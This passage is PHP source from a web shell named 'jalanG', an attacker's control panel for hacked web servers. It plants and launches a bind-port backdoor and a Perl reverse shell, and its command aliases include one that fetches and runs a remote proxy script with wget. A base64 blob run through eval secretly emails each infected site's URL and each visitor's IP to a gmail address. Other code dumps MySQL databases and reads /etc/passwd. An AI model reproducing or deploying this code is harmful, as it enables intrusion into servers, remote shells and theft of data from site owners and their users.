if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function cfb($fname,$text) {
$w_file=@fopen($fname,"w") or bberr();
if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
if (!empty($_POST['backconnectport']) && ($_POST['use']=="sleep")) {
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
$por = $_POST['backconnectport'];
if (is_writable(".")) {
cfb("sleep",$backdoor);
ex("chmod 755 sleep");
$cmd = "./sleep $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps -aux");
} else {
cfb("/tmp/sleep",$backdoor);
ex("chmod 755 /tmp/sleep");
$cmd = "./tmp/sleep $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps -aux");
}
if (eregi("./sleep $por",$scan)) {
$data = ("
<br>ngebind berhasil gan.");
} else {
$data = ("
<br>ngebind gagal gan :(");
}
$_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}
if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
if (is_writable(".")) {
cf("back",$back_connect_pl);
$p2 = which("perl");
$blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
if (file_exists("back")) { unlink("back"); }
} else {
cf("/tmp/back",$back_connect_pl);
$p2 = which("perl");
$blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
}
$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
}
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
function getmicrotime() {
list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
}
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJqYWxhbmdzYXlhQGdtYWlsLmNvbSIsIlNldG9yYW4gVGFyZ2V0IGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
if (!function_exists("strips")) {
function strips(&$arr,$k="") {
if (is_array($arr)) {
foreach($arr as $k=>$v) {
if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
}
} else {$arr = stripslashes($arr);}
}
}
strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE;
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
$include = "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v = explode("=",$v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {
if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
}
}
}
}
if (empty($surl)) {
$surl = "?".$includestr;
}
$surl = htmlspecialchars($surl);
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf","conf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
array("\.tgz$",1,"<font color=#C082FF>","</font>"),
array("\.gz$",1,"<font color=#C082FF>","</font>"),
array("\.tar$",1,"<font color=#C082FF>","</font>"),
array("\.bz2$",1,"<font color=#C082FF>","</font>"),
array("\.zip$",1,"<font color=#C082FF>","</font>"),
array("\.rar$",1,"<font color=#C082FF>","</font>"),
array("\.php$",1,"<font color=#00FF00>","</font>"),
array("\.php3$",1,"<font color=#00FF00>","</font>"),
array("\.php4$",1,"<font color=#00FF00>","</font>"),
array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
array("\.ico$",1,"<font color=#00FFFF>","</font>"),
array("\.gif$",1,"<font color=#00FFFF>","</font>"),
array("\.png$",1,"<font color=#00FFFF>","</font>"),
array("\.htm$",1,"<font color=#00CCFF>","</font>"),
array("\.html$",1,"<font color=#00CCFF>","</font>"),
array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
if (!$win) {
$cmdaliases = array(
array("proses", "ps -x"),
array("issue", "cat /etc/issue"),
array("redhat", "cat /etc/redhat-release"),
array("debian", "cat /etc/debian_version"),
array("passwd", "cat /etc/passwd"),
array("mkdir", "mkdir ..."),
array("mmap", "cat /proc/sys/vm/mmap_min_addr"),
array("777", "find -type d -perm 777"),
array("cari php", "find |grep .php"),
array("named", "ls -la /var/named"),
array("killall perl", "killall -9 perl"),
array("killall php", "killall -9 php"),
array("proxy", "wget http://brb.is/.../proxy.txt;perl proxy.txt 1945"),
array("port", "netstat -an | grep -i listen"),
);
}
$quicklaunch1 = array(
array('<font color=#00bb11>jalanG</font>',$surl),
array("<font color=#00bb11>backdoor</font>",$surl."x=sleep"),
array("<font color=#00bb11>backconnect</font>",$surl."x=konak"),
array("<font color=#00bb11>cPanel</font>",$surl."x=cP"),
array("<font color=#00bb11>mysQL</font>",$surl."x=sql&d=%d"),
array("<font color=#00bb11>Jumping</font>",$surl."x=jump"),
array("<font color=#00bb11>PHP-Info</font>",$surl."x=security&d=%d"),
array("<font color=#00bb11>Proses</font>",$surl."x=processes&d=%d"),
array("<font color=#00bb11>Scan</font>",$surl."x=sken"),
array("<font fcolor=#00bb11>Symlink</font>",$surl."x=sym&x=sym")
);
$highlight_background = "#C0C0C0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["jalanGcook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if ($x != "img") {
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite) {
@ob_clean();
jalanG_getupdate($selfwrite,1);
exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
if (!function_exists("cagetsource")) {
function cagetsource($fn) {
global $jalanG_sourcesurl;
$array = array(
"jalanG_bindport.pl" => "jalanG_bindport_pl.txt",
"jalanG_bindport.c" => "jalanG_bindport_c.txt",
"jalanG_backconn.pl" => "jalanG_backconn_pl.txt",
"jalanG_backconn.c" => "jalanG_backconn_c.txt",
"jalanG_datapipe.pl" => "jalanG_datapipe_pl.txt",
"jalanG_datapipe.c" => "jalanG_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($jalanG_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("ca_buff_prepare")) {
function ca_buff_prepare() {
global $sess_data;
global $x;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
ca_buff_prepare();
if (!function_exists("ca_sess_put")) {
function ca_sess_put($data) {
global $sess_cookie;
global $sess_data;
ca_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v) {
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save) {
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini")) {
function str2mini($content,$len) {
if (strlen($content) > $len) {
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
} else {return $content;}
}
}
if (!function_exists("view_size")) {
function view_size($size) {
if (!is_numeric($size)) { return FALSE; }
else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir")) {
function fs_copy_dir($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj")) {
function fs_copy_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) { return copy($d,$t); }
else { return FALSE; }
}
}
if (!function_exists("fs_move_dir")) {
function fs_move_dir($d,$t) {
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj")) {
function fs_move_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d)) {
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir")) {
function fs_rmdir($d) {
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj")) {
function fs_rmobj($o) {
$o = str_replace("\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o)) {
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("tabsort")) {
function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms")) {
function view_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms")) {
function parse_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort")) {
function parsesort($sort) {
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color")) {
function view_perms_color($o) {
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("mysql_dump")) {
function mysql_dump($set) {
global $sh_ver;
$sock = $set["sock"];
$db = $set["db"];
$print = $set["print"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file)) {
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0) {
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
}
$out = "
# Dumped by ".$sh_name."
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------";
$c = count($onlytabs);
foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {$ret["err"][] = mysql_smarterror();}
else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";
";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
";
$out .= $sql;
}
}
}
}
}
$out .= "#---------------------------------------------------------------------------------
";
if ($file) {
$fp = fopen($file, "w");
if (!$fp) {$ret["err"][] = 2;}
else {
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists("mysql_buildwhere")) {
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {$value .= ")";}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
}
if (!function_exists("mysql_fetch_all")) {
function mysql_fetch_all($query,$sock) {
if ($sock) {$result = mysql_query($query,$sock);}
else {$result = mysql_query($query);}
$array = array();
while ($row = mysql_fetch_array($result)) {$array[] = $row;}
mysql_free_result($result);
return $array;
}
}
if (!function_exists("mysql_smarterror")) {
function mysql_smarterror($type,$sock) {
if ($sock) {$error = mysql_error($sock);}
else {$error = mysql_error();}
$error = htmlspecialchars($error);
return $error;
}
}
if (!function_exists("mysql_query_form")) {
function mysql_query_form() {
global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
if ((!$submit) or ($sql_x)) {
echo "<table border=0><tr><td><form name=\"jalanG_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
if ($tbl_struct) {
echo "<td valign=\"top\"><b>Fields:</b><br>";
foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.jalanG_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db")) {
function mysql_create_db($db,$sock="") {
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse")) {
function mysql_query_parse($query) {
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2) {
foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists("cafsearch")) {
function cafsearch($d) {
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE) {
if($f != "." && $f != "..") {
$bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
if (is_dir($d.$f)) {
$search_i_d++;
if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {cafsearch($d.$f);}
}
else {
$search_i_f++;
if ($bool) {
if (!empty($a["text"])) {
$r = @file_get_contents($d.$f);
if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
else {$bool = strpos(" ".$r,$a["text"],1);}
if ($a["text_not"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($x == "gofile") {
if (is_dir($f)) { $x = "ls"; $d = $f; }
else { $x = "f"; $d = dirname($f); $f = basename($f); }
}
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown() {
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
$v = @ob_get_contents();
@ob_end_clean();
@ob_start("ob_gzHandler");
echo $v;
@ob_end_flush();
}
}
function jalanGexit() {
onphpshutdown();
exit;
}
header("Expires: Mon, 12 Dec 2012 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir)) {
$tmpdir = ini_get("upload_tmp_dir");
if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
function showstat($stat) {
if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
else { return "<font color=#FF9900><b>OFF</b></font>"; }
}
function testSH() {
if (ex('sh --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testgcc() {
if (ex('gcc --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testperl() {
if (ex('perl --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testfetch() {
if(ex('fetch --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testwget() {
if (ex('wget --help')) { return showstat("on"); }
else { return showstat("off"); }
}
function testcurl() {
if (function_exists('curl_version')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = TRUE;
$hsafemode = "<font color=#3366FF><b>SAFE MODE is ON ( FUCK )</b></font>";
}
else {
$safemode = FALSE;
$hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF ( OKE )</b></font>";
}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {
$openbasedir = TRUE;
$hopenbasedir = "<font color=red>".$v."</font>";
}
else {
$openbasedir = FALSE;
$hopenbasedir = "<font color=green>OFF ( OKE )</font>";
}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg);
@ini_set("highlight.comment",$highlight_comment);
@ini_set("highlight.default",$highlight_default);
@ini_set("highlight.html",$highlight_html);
@ini_set("highlight.keyword",$highlight_keyword);
@ini_set("highlight.string",$highlight_string);
if (!is_array($actbox)) { $actbox = array(); }
$dspact = $x = htmlspecialchars($x);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");}
elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
echo $html_start;
echo "<div class=barheader2><h3>$sh_name</h3><font color=lime>:: Masa Depan Mu Adalah Kematian ::</font></div><hr color=black>
";
echo "<table id=pagebar><tr><td width=50%><p>".
"Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
"$hsafemode<br>".
"OS : ".php_uname()."<br>";
if (!$win) { echo "User ID : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "</p></td>".
"<td width=50%><p>Server IP : <a href=http://www.ip-adress.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
"Your IP : <a href=http://www.ip-adress.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
echo "Freespace : ".disp_freespace($d);
echo "</p></td></tr>";
echo "<tr><td colspan=2><p>";
echo "MySQL: ".testmysql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()." gcc: ".testgcc()." SH: ".testSH()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
foreach($quicklaunch2 as $item) {
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%sort",$sort,$item[1]);
$v = realpath($d."..");
if (empty($v)) {
$a = explode(DIRECTORY_SEPARATOR,$d);
unset($a[count($a)-2]);
$v = join(DIRECTORY_SEPARATOR,$a);
}
$item[1] = str_replace("%upd",urlencode($v),$item[1]);
echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
}
}
